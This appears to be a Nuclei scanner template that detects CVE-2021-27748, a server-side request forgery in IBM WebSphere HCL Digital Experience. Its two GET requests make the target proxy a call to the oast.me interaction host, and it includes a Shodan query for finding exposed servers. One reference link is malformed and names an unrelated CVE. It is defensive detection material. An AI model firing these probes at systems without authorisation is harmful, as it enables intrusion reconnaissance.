id: CVE-2021-27748

info:
  name: IBM WebSphere HCL Digital Experience - Server-Side Request Forgery
  author: pdteam
  severity: high
  description: |
    IBM WebSphere HCL Digital Experience is vulnerable to server-side request forgery that impacts on-premise deployments and containers.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass security controls, access internal resources, and potentially perform further attacks.
  remediation: |
    Apply the latest security patches or updates provided by IBM to mitigate this vulnerability.
  reference:
    - https://blog.assetnote.io/2021/12/26/chained-ssrf-websphere/
    - https://support.hcltechsw.com/csm?id=kb_article&sysparm_article=KB0095665
    - hhttps://nvd.nist.gov/vuln/detail/CVE-2022-31268
  classification:
    cve-id: CVE-2021-27748
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"IBM WebSphere Portal"
  tags: cve,cve2021,hcl,ibm,ssrf,websphere

http:
  - method: GET
    path:
      - '{{BaseURL}}/docpicker/internal_proxy/http/oast.me'
      - '{{BaseURL}}/wps/PA_WCM_Authoring_UI/proxy/http/oast.me'

    host-redirects: true
    max-redirects: 2
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Interactsh Server"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009f8f88e6248eca75439054b3c6f178effb456f3c92a03cfe4e7b1f06468e5d6002203eb4e6faf0cdaa43b86687902ba26c1bcb46a799202ae92695a750a06c0214ac:922c64590222798bb761d5b6d8e72950